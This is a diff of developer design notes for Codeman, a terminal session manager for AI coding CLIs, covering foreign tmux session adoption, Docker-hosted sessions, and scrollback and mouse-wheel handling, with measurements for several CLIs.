+**A server that stops answering.** A tmux client never returns from a stopped server, and it hands dups of its stdout to the server, so that server holds our pipe open after the client is dead (measured: SIGTERM ended the client and no EOF came). ⚠️ So a watchdog around `list-panes` cannot work, and the same hold would keep `docker exec` and `ssh` waiting. `buildForeignProbeScript()` pings each socket with `has-session` at `/dev/null` under `FOREIGN_SOCKET_TIMEOUT_SECONDS`, in the script because no signal of ours reaches a client inside a container or across ssh, and only a server that answered gets the real stdout. One that did not prints `CMFH` and costs its own rows and a note. The watchdog reports through its own exit status, since a client ended by SIGTERM exits 0. `runForeignProbe()` runs all three transports in their own process group, signals the group at the deadline, destroys its end of the pipe by hand (or one handle leaks per scan) and keeps the rows it read. ⚠️ Sockets have no count cap: in glob order `codeman*` sorts before `default`, and a box with many instances would never reach the sessions this feature is for (212 sockets measured here). The sweep is bounded by time.
+
+**Text from someone else's process.** The parser and the classifier run synchronously on the event loop over what a pane, a container or an ssh host printed, and the row caps do not help when one row is the whole 2 MiB. ⚠️ So every step stays linear in that text: no regex tail over an argv (`launcherPrefixes()` is a scan), `.*` under the `s` flag so `$` cannot fail and hand `\s+` its spaces back, a `Set` for the socket rows, `FOREIGN_MAX_ARGV_CHARS` on what is kept, and one `createForeignSignatureMatcher()` per scan, since every pane of a hostile host can claim the same process tree and repeat the same rows.
+
+**One wrapper per target.** `foreignTargetKey()` is the ONE key, read by the adopt route and `adoptedBy`, built from the location, the host identity, the socket and the name: a socket and a name alone collide across containers and hosts. Both read live `Session`s, since the mux record only exists after the first attach.
+
+**No workspace.** ⚠️ An adopted session keeps its connection on `adopt.remote`/`adopt.docker`, so `session.remote` and `session.docker` are undefined, and its `workingDir` is the neutral `/tmp`. Code that branches on those two reads an in-container or over-ssh adoption as a local session working in `/tmp`. So anything that treats `workingDir` as the session's workspace must also test `session.isAdopted` (`adopt` on a pure view): uploads, the upload GC, git status, git fetch and its scheduler, the image watcher, Read My Mind's git signals, the Discord folder, `last-response`, guarded input and Ralph's `@fix_plan.md` and `@ralph_prompt.md` routes all do. The file surfaces (Files panel, File Viewer and its edit mode, `html-view`, absolute-path links) are the one standing exception (owner decision 2026-11-06): they still treat `/tmp` and this host's paths as the workspace, even on a container or ssh tab, so such a tab shows this host's files and not the far end's. It gives no privilege: `/tmp` is world-writable anyway, and adoption is admin-only in multi-user mode. Gating them for remote and Docker adoptions, while keeping a local adopted tab's absolute-path links, is the planned follow-up. A claude wrapper reports `statusLineExporter: 'remote'`, which is also what keeps keep-warm off it.
+
+**Lifecycle.** `paneExitApplies` is false for a wrapper, so an attach that ended is never `paneExit` and the sweep never closes the tab. ⚠️ `remain-on-exit` still keeps Codeman's own tmux client on the dead pane, where a pid and `busy` hid it and both attach routes refused it, so `detachEndedAdoptedAttaches()` detaches that client on the reconnect watcher's tick: the tab closes nothing, its pid goes null, and selecting it (or "Go to tab" once a session of that name is back) runs the guard again. Boot recovery re-attaches a dead wrapper, which prints that the session is gone and exits. Reboot restore refuses one, since all Codeman ever had was an attach command. ⚠️ A wrapper that cannot start fails the start, and selecting the tab tries it again (`_failAdoptedStart()`). It never takes the direct-PTY fallback, which would run a new local `claude --dangerously-skip-permissions` or a server-account shell in `/tmp` under the foreign session's name, and `runPrompt()` refuses it for the same reason.
+
 ### Docker cases
 
 **Docker cases** (shipped 1.4.0; user guide `docs/docker-cases.md`, design `docs/docker-cases-plan.md`): a case can point at a **container** instead of a local/remote path, and any of the CLI run modes runs INSIDE it. Like remote-SSH, it is a **LOCATION OVERLAY on cases, never a `SessionMode` of its own** (`SessionMode` is unchanged). Storage `~/.codeman/docker-hosts.json` + `docker-cases.json` via `src/docker-hosts.ts` (direct mirror of `remote-hosts.ts`: `readDockerHosts`/`readDockerCases`, `toSessionDocker`, `dockerDisplayPath`, and the PURE builders `buildDockerBaseArgs`/`buildDockerCreateArgs`/`containerApiUrl`/`hostGatewayAlias`/`dockerConfigHash`). CRUD `/api/docker-hosts` + `/api/cases/docker-link`, plus **one-click** `/api/cases/docker-quickcreate` (Create New "Run in Docker" checkbox → case folder in `CASES_DIR` + auto-provisioned shared `default` host + auto-start a session inside; an expandable Template picker Small/Medium/Large/GPU or any override creates a per-case `q-<name>` host), and export/import (`/api/docker-cases/:name/export`, `/api/docker-cases/import`, `GET/DELETE /api/docker-exports`) — all in `case-routes.ts`. Run flows route through `POST /api/quick-start` like remote (session-routes.ts docker branch, skips LOCAL CLI-availability gates). **Launch model**: exactly one long-lived container **per case** (`codeman-case-<slug>`, PID1 `sleep infinity` under `--init`); a LOCAL tmux pane runs `docker exec -it` into a **durable in-container tmux** on dedicated socket `-L codeman-docker`, session `codeman-dkr-<id8>` (deliberately fails `SAFE_MUX_NAME_PATTERN` so a Codeman running INSIDE the container never adopts it, exactly like remote's `codeman-ssh-<id8>`). Builders `buildDockerLaunchCommand`/`buildDockerKillCommand` in `tmux-manager.ts` (image-check → `docker inspect||create` → start → exec, all idempotent). The container is **shared by all sessions of the case**: `buildDockerKillCommand` kills ONLY that session's in-container tmux session, NEVER `docker stop` while siblings remain; `docker rm -f` happens only on case-delete (plus an instance-scoped boot reaper keyed on the `codeman.instance` label). **Two-layer durability/resume** (the central design point): (1) Codeman-PROCESS restart with the container still up → `tmux new-session -A` reattaches the SAME live agent (paneCommand ignored); (2) container stop/reboot/OOM → inner tmux is gone, so the re-run pane command resumes the conversation from the bind-mounted transcript: claude mode pins a DETERMINISTIC conversation id via `claudeDockerPaneCommand()` (`tmux-manager.ts`) — fresh launch `claude --session-id <sessionId> || claude --resume <sessionId>` (a duplicate `--session-id` exits 1 "already in use", so the fallback RESUMES after a container stop; verified CLI behavior), explicit resume `--resume <rid> || --session-id <sid>` so a stale id never dead-panes (leading `exec ` is stripped — an exec'd first branch could never fall back); codex `resume <id>` / gemini `--resume` keep `appendResumeFlag`. The resume id rides `resumeSessionId` through create/respawn options and persists on `DockerCase.lastClaudeSessionId` via `persistDockerCaseClaudeSessionId()` (written at quick-start launch, and again on hook/last-response conversation-id adoption so post-`/clear` switches track; seeded back when `resumeOnStart`, default true); `-A` makes the pane command self-selecting (inert on reattach, active only when tmux was re-created). **Config drift** (`dockerConfigHash` → `codeman.confighash` label): quick-start compares via `checkDockerConfigDrift()` and REFUSES a drifted launch with `CONFLICT`; the UI confirm calls `POST /api/docker-cases/:name/recreate` (refused while case sessions are live) which `docker rm -f`s so the next launch recreates with the new config — host config edits actually take effect. **Workspace** is a REAL host dir bind-mounted at the SAME absolute path (mirror, `dst==src`), so `Session.workingDir = hostWorkspacePath` keeps file-routes/attachments/watchers on real host bytes AND the in-container transcript projHash matches the host so subagent/workflow correlation (and thus resume-id capture) works; `resolveMuxAttachCwd` returns `/tmp` for docker (the local pane only runs `docker exec`). **Creds** arrive commit-safe and ISOLATED (1.4.1; replaced the whole-dir RW mounts that let in-container CLIs write refreshed tokens/state back to the host): shared RW across the boundary is ONLY what host-side reads/resume need (`~/.claude/projects` transcripts; codex `sessions/` + `history.jsonl` for response-viewer/`codex resume`); everything else is SEEDED (RO mount, copied into container HOME once at launch via `[ -e ] || cp`; the container refreshes its own copy and never writes back): `~/.claude.json` is merged through `buildSeamlessClaudeConfig()` (forces `hasCompletedOnboarding` + theme + workspace trust, so no login wizard/theme picker/trust prompt inside the container), plus `.claude/{.credentials.json,setLine truncated
@@ -205,7 +223,7 @@ History: before the tree, every pair got a U-bridge bezier hanging below the str
 
 **Three owners, one setter.** `SessionState.nameSource` is `placeholder` | `auto` | `manual`. The constructor infers a missing value from the name (`isGeneratedSessionName()` = `w<n>-<case>` / `s<n>-<case>`, or no name at all, is a placeholder; anything else was a person's), the create routes pass none, the boot restore passes the persisted one. The `name` setter is the manual path and the ONLY thing that produces `manual` after construction; `applyAutoName()` is the only thing that produces `auto`, and it does so whether or not the string changed, which is what makes "first prompt" mean the first. A prompt whose title is null (`/clear`, `! npm test`, blank) never reaches it, so the session stays eligible: the first REAL prompt names the tab.
 
-**The origin gate defaults to "system".** `write()` / `writeViaMux()` take `SessionWriteOptions.fromUser`; only the browser WS path, `POST /api/sessions/:id/input` and the experimental guarded stage (`stageGuardedInput()`, behind `POST /api/sessions/:id/stage`) set it. Every other caller (Ralph, respawn, cron, approvals, the orchestrator's `/compact`, auto-ops, the trust-dialog keys) is system by omission, so a new user-input path that forgets the flag fails toward a tab that keeps its placeholder, never toward a tab named after a Ralph prompt. `_lastSubmitAt` is still stamped for every write; only the tracker feed is gated. The shell gate is `getCli(mode)?.capabilities.startMode !== 'shell'`, a capability rather than an id check (the no-id-branching guard), and the send-key route feeds `trackUserInput()` by hand because its `tmux send-keys -H` newline (always a line feed for Ctrl+Enter; for Shift+Enter a line feed unless the CLI declares another `capabilities.newline` chord) never passes through the session.
+**The origin gate defaults to "system".** `write()` / `writeViaMux()` take `SessionWriteOptions.fromUser`; only the browser WS path, `POST /api/sessions/:id/input`, the experimental guarded stage (`stageGuardedInput()`, behind `POST /api/sessions/:id/stage`) and a Discord reply set it. Every other caller (Ralph, respawn, cron, approvals, the orchestrator's `/compact`, auto-ops, the trust-dialog keys) is system by omission, so a new user-input path that forgets the flag fails toward a tab that keeps its placeholder, never toward a tab named after a Ralph prompt. `_lastSubmitAt` is still stamped for every write; only the tracker feed is gated. The shell gate is `getCli(mode)?.capabilities.startMode !== 'shell'`, a capability rather than an id check (the no-id-branching guard), and the send-key route feeds `trackUserInput()` by hand because its `tmux send-keys -H` newline (always a line feed for Ctrl+Enter; for Shift+Enter a line feed unless the CLI declares another `capabilities.newline` chord) never passes through the session.
 
 **The tracker is a best-effort transcript with explicit per-key rules**, not a byte filter. Mirrored: printable text, backspace, Ctrl+W, Ctrl+U/Ctrl+C (composer emptied), `\n` and Alt+Enter (a newline IN the composer, joined with a space), bracketed paste (newlines inside it likewise). Ignored: cursor keys, Home/End/Delete, Shift+Tab, Tab, SGR mouse and focus reports, Alt chords, OSC/DCS, the rest of C0. Tainting: Up/Down (CSI and SS3), Ctrl+P/N/R, Ctrl+_, because the composer then holds a history line the tracker never saw and Enter must submit nothing rather than a fragment. A bare Esc is resolved at the END of the chunk it arrives in, since xterm hands each key's whole sequence to one write and the programmatic senders send Esc alone; a CSI split across chunks still resumes. The draft keeps its HEAD past 8192 code points (the title is the first sentence, so keeping the tail would title a long paste by its last line) and an escape sequence is abandoned past 64 bytes.
 
@@ -231,21 +249,23 @@ Further detail: the `<prefix>: <title>` form (`w3-myapp: fix the login redirect`
 
 ### Terminal scrollback: strip flavors and wheel/touch forwarding
 
-**Three strip flavors, one carry** (#205, `session.ts:_handleTerminalOutput`): the FULL strip (`isAltScreenStripMode` = codex/claude/gemini) removes alt-screen toggles, `3J`, and mouse-tracking DECSETs. The MOUSE strip (`isMuxMouseStripMode` = opencode and copilot) removes alt-screen toggles AND the mouse DECSETs but KEEPS `3J` — the middle case, for a mouse-capable full-screen TUI: its tracking DECSETs reach the browser (tmux `mouse off` passes the pane's modes through to the client), xterm obeys them, and then every DRAG is reported to the TUI instead of selecting text — so mark-and-copy silently did nothing (measured 62 `none` / 18 `any` over 16s, 5/5 dead drags while `any`) and the obvious fallback, Ctrl+C, is opencode's `app_exit`. Copilot is the same shape (measured on 1.0.95: alt screen, mouse reporting on): left on the narrow strip, Auto Copy and copy-on-select did nothing and only Shift+drag selected. `3J` stays because a TUI is not a `clear` consumer. Every other mode (shell/antigravity/pi/grok/deepseek/omp) gets the NARROW strip (`isMuxAltScreenOnlyStripMode`) — alt-screen toggles ONLY — and only when tmux-backed (`useMux`). Rationale: the tmux CLIENT emits `smcup` as its first bytes at attach, before any program runs, parking xterm in the scrollback-less alternate buffer for the whole session (touch scrolling no-ops; xterm's own wheel handler converts the wheel to Up/Down arrows = readline history cycling — both #205 symptoms). tmux never forwards a pane program's alt-screen toggles to its client (it repaints instead; measured — vim/less inside a pane emit zero to the client), so the only thing the narrow strip ever removes is tmux's own smcup. It keeps `3J` (a user's `clear` is a deliberate scrollback wipe) and the mouse DECSETs (tmux passes those through even with `mouse off`; stripping them would break htop/vim mouse support — which is exactly why the mouse strip is opt-in per CLI and not part of the narrow flavour). ⚠️ The `useMux` gate is load-bearing: `startShell()`/`startInteractive()` fall back to a DIRECT PTY when mux creation fails, and there the inner program's own `?1049h` really does reach xterm — stripping it would break vim/less/htop for real. The replay path (`session-routes.ts`, via `session.usesMux`) applies the same three branches; the frontend gate (`_shouldReportMouseToCli()`) keeps no mode list at all: it reads only the published `cliMouseTracking`, which the server sets solely in a DECSET-stripping branch (full or mouse), so it can only be true for a mode whose DECSETs are stripped — the modes where the browser's hand-encoded tap (`_sendSyntheticSgrTap`) is the only way a click still reaches the CLI. Whichever modes the registry strips, the browser follows (pinned in `test/claude-scrollback-strip.test.ts`). The chunk-boundary carry (`_altScreenSeqCarry`) runs for all three flavors. Tests: `test/claude-scrollback-strip.test.ts`, `test/terminal-touch-tap.test.ts`.
+**Three strip flavors, one carry** (#205, `session.ts:_handleTerminalOutput`): the FULL strip (`isAltScreenStripMode` = codex/claude/gemini) removes alt-screen toggles, `3J`, and mouse-tracking DECSETs. The MOUSE strip (`isMuxMouseStripMode` = opencode, copilot and pi) removes alt-screen toggles AND the mouse DECSETs but KEEPS `3J` — the middle case, for a mouse-capable full-screen TUI: its tracking DECSETs reach the browser (tmux `mouse off` passes the pane's modes through to the client), xterm obeys them, and then every DRAG is reported to the TUI instead of selecting text — so mark-and-copy silently did nothing (measured 62 `none` / 18 `any` over 16s, 5/5 dead drags while `any`) and the obvious fallback, Ctrl+C, is opencode's `app_exit`. Copilot is the same shape (measured on 1.0.95: alt screen, mouse reporting on): left on the narrow strip, Auto Copy and copy-on-select did nothing and only Shift+drag selected. `3J` stays because a TUI is not a `clear` consumer. Every other mode (shell/antigravity/grok/deepseek/omp) gets the NARROW strip (`isMuxAltScreenOnlyStripMode`) — alt-screen toggles ONLY — and only when tmux-backed (`useMux`). Rationale: the tmux CLIENT emits `smcup` as its first bytes at attach, before any program runs, parking xterm in the scrollback-less alternate buffer for the whole session (touch scrolling no-ops; xterm's own wheel handler converts the wheel to Up/Down arrows = readline history cycling — both #205 symptoms). tmux never forwards a pane program's alt-screen toggles to its client (it repaints instead; measured — vim/less inside a pane emit zero to the client), so the only thing the narrow strip ever removes is tmux's own smcup. It keeps `3J` (a user's `clear` is a deliberate scrollback wipe) and the mouse DECSETs (tmux passes those through even with `mouse off`; stripping them would break htop/vim mouse support — which is exactly why the mouse strip is opt-in per CLI and not part of the narrow flavour). ⚠️ The `useMux` gate is load-bearing: `startShell()`/`startInteractive()` fall back to a DIRECT PTY when mux creation fails, and there the inner program's own `?1049h` really does reach xterm — stripping it would break vim/less/htop for real. The replay path (`session-routes.ts`, via `session.usesMux`) applies the same three branches; the frontend gate (`_shouldReportMouseToCli()`) keeps no mode list at all: it reads only the published `cliMouseTracking`, which the server sets solely in a DECSET-stripping branch (full or mouse), so it can only be true for a mode whose DECSETs are stripped — the modes where the browser's hand-encoded tap (`_sendSyntheticSgrTap`) is the only way a click still reaches the CLI. Whichever modes the registry strips, the browser follows (pinned in `test/claude-scrollback-strip.test.ts`). The chunk-boundary carry (`_altScreenSeqCarry`) runs for all three flavors. Tests: `test/claude-scrollback-strip.test.ts`, `test/terminal-touch-tap.test.ts`.
 
 ⚠️ **What a mouse-DECSET strip (full or mouse) removes, it must REMEMBER.** Stripping the mouse DECSETs means xterm's `modes.mouseTrackingMode` is permanently `'none'` for those modes, so the browser hand-encodes click reports to compensate (`_sendSyntheticSgrTap`). With no state to consult it did that on EVERY click, which delivered mouse reports to programs that never asked for them: the same pane runs a plain shell whenever the CLI has exited or a `shell` was started inside a claude-mode session, and a shell prints the report as literal text (`[<0;88;20M`), garbling the next line typed. `_recordStrippedMouseMode()` therefore records each stripped sequence as it goes and publishes `cliMouseTracking` through `toState()`, and `_shouldReportMouseToCli()` requires it. ⚠️ Only the TRACKING modes count (1000/1001/1002/1003): 1005/1006 select an ENCODING and 1007 is alt-scroll, and counting those would put the stray reports straight back. ⚠️ The change broadcasts IMMEDIATELY rather than through `broadcastSessionStateDebounced`, because the flag flips when a dialog opens and the user can click that dialog inside the 500ms debounce window. Measured on a live claude 2.x: the CLI holds a tracking mode on continuously in fullscreen (so clicks keep being reported exactly as before; the default inline renderer holds none, measured on 2.1.283 even with `/model` open), while a bash prompt in the same stripped mode reports nothing. Fails toward silence: after a server restart the flag is false until the CLI re-emits, which tmux does at client attach.
 
-**Wheel forwarding requires observed mouse tracking: Claude ≥ 2.1.187, tracked Codex or tracked Copilot** (`terminal-ui.js:_shouldForwardWheelToApp`). The original #227 measurement remains valid for **Codex 0.147.0 inline**: `alternate_on=0`, `mouse_any_flag=0`, growing tmux history, and SGR wheel reports do nothing. Claude 2.1.280 inline similarly reports `alternate_on=0`, `mouse_any_flag=0`; forwarding there swallows gestures, so it keeps local scrollback. Fullscreen Claude (`CLAUDE_CODE_NO_FLICKER=1` or `"tui": "fullscreen"`) enables mouse tracking and accepts reports. **Fresh Codex 0.163.0 fullscreen measurement (2026-10-18, isolated local tmux pane)**: `alternate_on=1`, `mouse_any_flag=1`; one `\x1b[<64;10;10M` report moves the transcript one row upward, and `\x1b[<65;10;10M` restores the original screen. This is capability evidence, not a minimum-version promise: untracked Codex (including a 0.162.0 measurement (2026-10) with `mouse_any_flag=0`) keeps local history or the hollow-pane paging fallback. Codex does not publish the Claude-only CLI version field, so its gate requires the observed flag rather than a Claude version. The registry records this as `wheelForward.mode: 'always'` (observed mouse tracking is still required); Claude remains `version-gated`. A stale/false flag after startup cannot authorize forwarding. ⚠️ A strip mode alone is not evidence that a CLI consumes SGR reports. Verify with a real `\x1b[<64;c;rM` write into a live pane before adding a mode here. Hand-encoded SGR taps remain independently gated by `_shouldReportMouseToCli()`; the older #325 no-op measurement describes untracked inline Codex and must not be generalized to newer tracked fullscreen renderers. Shift/local-history opt-outs and xterm's native mouse/alternate-screen handling remain intact.
+**Wheel forwarding requires observed mouse tracking: Claude ≥ 2.1.187, tracked Codex, tracked Copilot or tracked Pi** (`terminal-ui.js:_shouldForwardWheelToApp`). The original #227 measurement remains valid for **Codex 0.147.0 inline**: `alternate_on=0`, `mouse_any_flag=0`, growing tmux history, and SGR wheel reports do nothing. Claude 2.1.280 inline similarly reports `alternate_on=0`, `mouse_any_flag=0`; forwarding there swallows gestures, so it keeps local scrollback. Fullscreen Claude (`CLAUDE_CODE_NO_FLICKER=1` or `"tui": "fullscreen"`) enables mouse tracking and accepts reports. **Fresh Codex 0.163.0 fullscreen measurement (2026-10-18, isolated local tmux pane)**: `alternate_on=1`, `mouse_any_flag=1`; one `\x1b[<64;10;10M` report moves the transcript one row upward, and `\x1b[<65;10;10M` restores the original screen. This is capability evidence, not a minimum-version promise: untracked Codex (including a 0.162.0 measurement (2026-10) with `mouse_any_flag=0`) keeps local history or the hollow-pane paging fallback. Codex does not publish the Claude-only CLI version field, so its gate requires the observed flag rather than a Claude version. The registry records this as `wheelForward.mode: 'always'` (observed mouse tracking is still required); Claude remains `version-gated`. A stale/false flag after startup cannot authorize forwarding. ⚠️ A strip mode alone is not evidence that a CLI consumes SGR reports. Verify with a real `\x1b[<64;c;rM` write into a live pane before adding a mode here. Hand-encoded SGR taps remain independently gated by `_shouldReportMouseToCli()`; the older #325 no-op measurement describes untracked inline Codex and must not be generalized to newer tracked fullscreen renderers. Shift/local-history opt-outs and xterm's native mouse/alternate-screen handling remain intact.
 
 **Copilot also receives forwarded reports** (1.0.95 measured in tmux: alt screen, `mouse_any_flag=1`): its mouse DECSETs are stripped so a drag selects, which also stops xterm encoding the wheel for it, so `_shouldForwardWheelToApp` sends the same SGR reports by hand while `cliMouseTracking` is true; six `\x1b[<64;…M` reports moved its transcript 18 lines, a phone swipe takes the same gate, and there is NO version gate.
 
+**Pi is the same shape, and the reason it moved to the mouse strip** (fullscreen is the default `tuiMode` since 1.0.0; 1.0.0, 1.1.0, 1.4.0 and 1.5.0 measured in tmux with default settings: `alternate_on=1`, `history_size=0`, `mouse_any_flag=1`, SGR): pi enables mouse tracking ONCE at start. Left on the narrow strip, the wheel worked only until Codeman replayed the buffer (tab switch, reload): the replay carries no DECSETs, xterm's `mouseTrackingMode` fell to `'none'` with `baseY` 0, and the wheel hit an empty local buffer until a resize made pi redraw. Measured on a fresh session: `drag` right after the first select, `none` after a tab switch and after a reload. With the mouse strip the server records the tracking (`cliMouseTracking`), which survives the replay; `_shouldForwardWheelToApp` forwards by hand while it is true. One SGR wheel report moves pi's transcript one row at a low rate, and pi's `fullscreenWheelScrollLines` default accelerates a fast spin. Under `tuiMode: regular`, the default below 1.0.0, pi is inline and emits no mouse DECSET, so the strip finds nothing and the flag stays false; a pi from 0.84.0 set to fullscreen does emit them (0.84.1 and 0.99.2 with `--tui-mode fullscreen` measured: `alternate_on=1`, `mouse_any_flag=1`, `mouse_sgr_flag=1`; default settings all 0), and the flag covers that case. ⚠️ Pi deliberately has no `transcriptPageKeys`: fullscreen pi does page on PageUp/PageDown, but pi binds those keys to its editor in regular mode too, where they page nothing and move the caret of a multi-line draft, so the hollow-buffer fallback sent the next keystroke to the wrong line (measured on 1.1.0, 1.4.0 and 1.5.0). The fallback would need a capability to tell the two modes apart, since `_localScrollbackIsHollow` takes no id. The cost: a fullscreen pi with "Wheel scrolls local history" on has no paging fallback, so the wheel does nothing there. That is an accepted exception to "A false gate on a hollow pane must not mean a DEAD gesture" below.
+
 Codex 0.163.0 approval check in that isolated read-only/on-request session: the "Would you like to run the following command?" prompt remained on `1. Yes, proceed` after SGR wheel-up and wheel-down over both the transcript and approval option rows 36/37; the requested marker file was not created. The background transcript can scroll while the approval prompt remains fixed. Codeman does alert on this prompt: `src/web/screen-blocked.ts` reads Codex dialogs off the pane (`capabilities.workDetect.blockedLine`) and broadcasts `hook:permission_prompt`, which `_onHookPermissionPrompt` (settings-ui.js) records and `updateTabAlertFromHooks` (app.js) turns into the `'action'` tab alert, and both page-key fallbacks check it. The SGR wheel path deliberately does not consult that alert, because this measurement showed wheel reports leave the approval selection unchanged. Native Codex owns its approval selection; do not mistake a hook-only unit fixture for approval-dialog evidence.
 
 Native wheel travel retains upstream pixel/line/page units (100 px = 4 lines; Firefox 3-line events = 3 lines); no one-tick-per-event policy is introduced here. A fresh native gesture at or above 0.1 row (2.5px) rounds its opening travel to at least one tick (subject to the per-event cap), so an isolated 4px mouse click responds, 40px sends two ticks and 120px sends five. The signed remainder is carried forward; travel discarded by the per-event cap does not become a backlog. The signed remainder is debt repaid by subsequent same-direction events: ten 2.5px events still total one tick. Debt/fractions expire after a 150ms gap; a reversal inside that gap discards the old debt without another pre-payment. Sub-threshold jitter does not pre-pay. The first native report of each tab visit bypasses the 40 ms batching timer; later reports coalesce and only unsent bytes can be cancelled on reversal. Every queued batch belongs to its originating session, so switching tabs cannot send its bytes into the newly selected pane. Zero-delta events leave pending movement untouched. Tiles use the same helpers and their own queue/session.
 
 **Wheel/touch forwarding is NOT gated on viewport-at-bottom** (#205, `terminal-ui.js:_shouldForwardWheelToApp`): for sessions verified to scroll their own transcript on SGR wheel reports (Claude ≥ 2.1.187 or tracked Codex, with observed `cliMouseTracking`; see the native measurement above), the plain wheel AND touch drags forward as coalesced SGR reports (`_forwardScrollToApp` → `_sendSyntheticSgrWheel`, 40ms batches after the first native report, 5-tick per-event cap; no aggregate byte/tick limit). It used to gate on the viewport being at the bottom so both scrollbacks stayed reachable, but a repaint-mode CLI keeps NO terminal scrollback of its own — xterm's buffer holds only replayed repaint frames, so local scrolling drags the CLI's pinned prompt box up the screen over stale frames; and `scrollToLastNonEmptyLine()` routinely parked the viewport off-bottom, silently pinning the wheel to local. Forwarding now snaps the viewport home first (SGR coordinates address the LIVE screen — a report computed from a scrolled-up viewport would hit-test the wrong row). Local scrollback remains on Shift+wheel and the `terminalWheelLocalScrollback` opt-out (both also cover touch via the shared gate; touch has no Shift, so the setting is its only local pin). Touch asks `_shouldForwardTouchToApp()`, which is that gate plus one branch: in any session mode, a drag and its fling momentum also forward as SGR wheel reports while xterm itself tracks the mouse (`modes.mouseTrackingMode` other than `none`/`x10`) with SGR encoding (`_core.coreMouseService.activeEncoding === 'SGR'`, an xterm private pinned by `test/xterm-private-api.test.ts`; DEFAULT, X10 and SGR-pixel apps fail closed). xterm encodes a native wheel for such an app itself, but the touch listeners consume the drag, and a local scroll shows nothing useful: a direct-PTY app is on xterm's alternate screen, and in a tmux-backed session xterm stays in the normal buffer holding stale tmux repaints. `_wheelScrollLinesFloat()` normalizes `deltaMode` (Firefox fires LINE deltas ≈3/notch — read as pixels that rounded to 0 and fell to the ±1 fallback, ~4× too slow; PAGE deltas scale by `terminal.rows`) while keeping the #154 Shift-axis trap (macOS trackpads put Shift+scroll magnitude on deltaX). Tests: `test/terminal-touch-tap.test.ts`.
 
-**A false gate on a hollow pane must not mean a DEAD gesture** (#205 round 2, `_maybePageCliTranscript`): every way `_shouldForwardWheelToApp()` returns false leaves a repaint-mode pane scrolling a buffer that has nothing in it (`baseY === 0`) — the version probe came back empty, the CLI really is older than 2.1.187, the `cliMouseTracking` flag is unset (inline claude, or fullscreen right after a server restart), or the user turned on `terminalWheelLocalScrollback`. **opencode is the fifth case, and the gate is false there by design**: its TUI runs on the ALTERNATE SCREEN (1.18.31 measured: tmux `alternate_on=1`, `history_size=0`), so the buffer is hollow, and it IGNORES SGR wheel reports entirely (six `\x1b[<64;…M` reports against an idle pane left the capture byte-identical) while still paging its transcript on PageUp/PageDown (`messages_page_up/down`) — so paging is the only gesture that can reach it, and without it the wheel was silently dead in every opencode tab. The 1.12.0 retest reported exactly that shape for Claude: a wheel that did nothing at all while Fn+Up (PageUp) paged back through intact text, which is the proof that the CLI's own history and the PTY input path were both fine. So under the guard (`_localScrollbackIsHollow()`: the `transcriptPageKeys` capability, gate false, `baseY === 0`) wheel and touch travel is translated into coalesced `\x1b[5~` / `\x1b[6~` through the same 40ms queue as the SGR reports, at half a screen of travel per page key (the key jumps a whole screen; a 1:1 mapping was unusably slow with a discrete wheel). ⚠️ **`baseY === 0` with a pane that still REPORTS scrollback is not hollow, it is unloaded** (`paneHistoryLines` > 0, the last capture's `#{history_size}`): after a server restart the byte recording a tab switch replays (`?tail=`) holds only the tmux client's attach repaint, which scrolls nothing, so an inline Claude session landed here and the page keys moved its composer cursor instead of the transcript (measured 2026-10-21 on the second select after a restart, until a page reload). That case falls through to local scrolling, whose top-of-buffer pull (`_maybeLoadMoreHistoryOnScroll` to `_maybeRefetchFullHistory`) fetches `full=1`, and the gesture scrolls on from there once the pull lands (a slow response can outlive the gesture; the next one scrolls); 0 and unknown counts keep paging (fullscreen Claude, codex, opencode; a remote pane reports no count and a Docker pane 0). Page keys already queued and the gesture debt are dropped on the way out, since they belong to the abandoned route. The `[scroll]` line prints `paneHistoryLines` next to `localScrollbackRows`, and a count turning positive re-logs, so the two states read apart. The trade-off is accepted: while that pull is in flight or has failed, the gesture scrolls an empty buffer and the next upward gesture after the 4 s cooldown retries it, where paging would have moved the composer. An error envelope (`success: false`) records no count, in the pull, the refresh path and the tab switch alike, so one failed capture does not hand the gesture back to paging. ⚠️ The first event of a gesture pages AT ONCE, for any opening event under one page, and the travel it skipped is owed back by the rest of the gesture (one page per half screen still). Waiting for half a screen first meant an ordinary trackpad flick (well under 19 rows on a 38-row pane) sent nothing at all, and a mouse sent nothing for its first 5 notches (100 px is 4 rows; 7 on Firefox's 3-line notches, issue #697). An opener of `PAGE_KEY_IMMEDIATE_MAX_ROWS` (2) rows or more is treated as a mouse-wheel notch and tagged `notch`: its debt lasts `PAGE_KEY_NOTCH_DEBT_MS` (3 s) instead of `PAGE_KEY_DEBT_MS`, so slow notches repay one page instead of each paging a full screen; past 3 s of quiet each notch pages. The signal is the opener's size, not the device (a touch contact whose first touchmove is 2 rows or more, or a brisk flick that opens large, is treated the same). A new opener keeps same-direction travel left over from the gesture before, so a run of notches still pages once per half screen of travel. ⚠️ What starts a NEW gesture (and so may pre-pay) is narrow, because every boundary is another free page: (1) a TOUCH CONTACT is one gesture, never split by time: the touch paths tag every call, touchmove and momentum frames alike, with `touchId` (one per touchstart), and a different id (or a wheel event after a touch) is a boundary. touchmove only calls once per whole cell of finger travel, so a slow drag arrives as single lines further apart than any gap; on the gap alone 12 lines at 170 ms each sent 12 PageUps (measured through the real listeners, `test/terminal-touch-paging.browser.test.ts`). (2) Outside a contact, 150 ms of quiet (`PAGE_KEY_GESTURE_GAP_MS`), stretched to one second (`PAGE_KEY_DEBT_MS`), or `PAGE_KEY_NOTCH_DEBT_MS` (3 s) for a notch-sized opener, while a pre-paid page is still owed in the SAME direction, so slow smalLine truncated
+**A false gate on a hollow pane must not mean a DEAD gesture** (#205 round 2, `_maybePageCliTranscript`): every way `_shouldForwardWheelToApp()` returns false leaves a repaint-mode pane scrolling a buffer that has nothing in it (`baseY === 0`) — the version probe came back empty, the CLI really is older than 2.1.187, the `cliMouseTracking` flag is unset (inline claude, or fullscreen right after a server restart), or the user turned on `terminalWheelLocalScrollback`. ⚠️ Pi is an accepted exception: it declares no `transcriptPageKeys`, so a false gate on a fullscreen pi stays dead, for the reason in "Pi is the same shape" above. **opencode is the fifth case, and the gate is false there by design**: its TUI runs on the ALTERNATE SCREEN (1.18.31 measured: tmux `alternate_on=1`, `history_size=0`), so the buffer is hollow, and it IGNORES SGR wheel reports entirely (six `\x1b[<64;…M` reports against an idle pane left the capture byte-identical) while still paging its transcript on PageUp/PageDown (`messages_page_up/down`) — so paging is the only gesture that can reach it, and without it the wheel was silently dead in every opencode tab. The 1.12.0 retest reported exactly that shape for Claude: a wheel that did nothing at all while Fn+Up (PageUp) paged back through intact text, which is the proof that the CLI's own history and the PTY input path were both fine. So under the guard (`_localScrollbackIsHollow()`: the 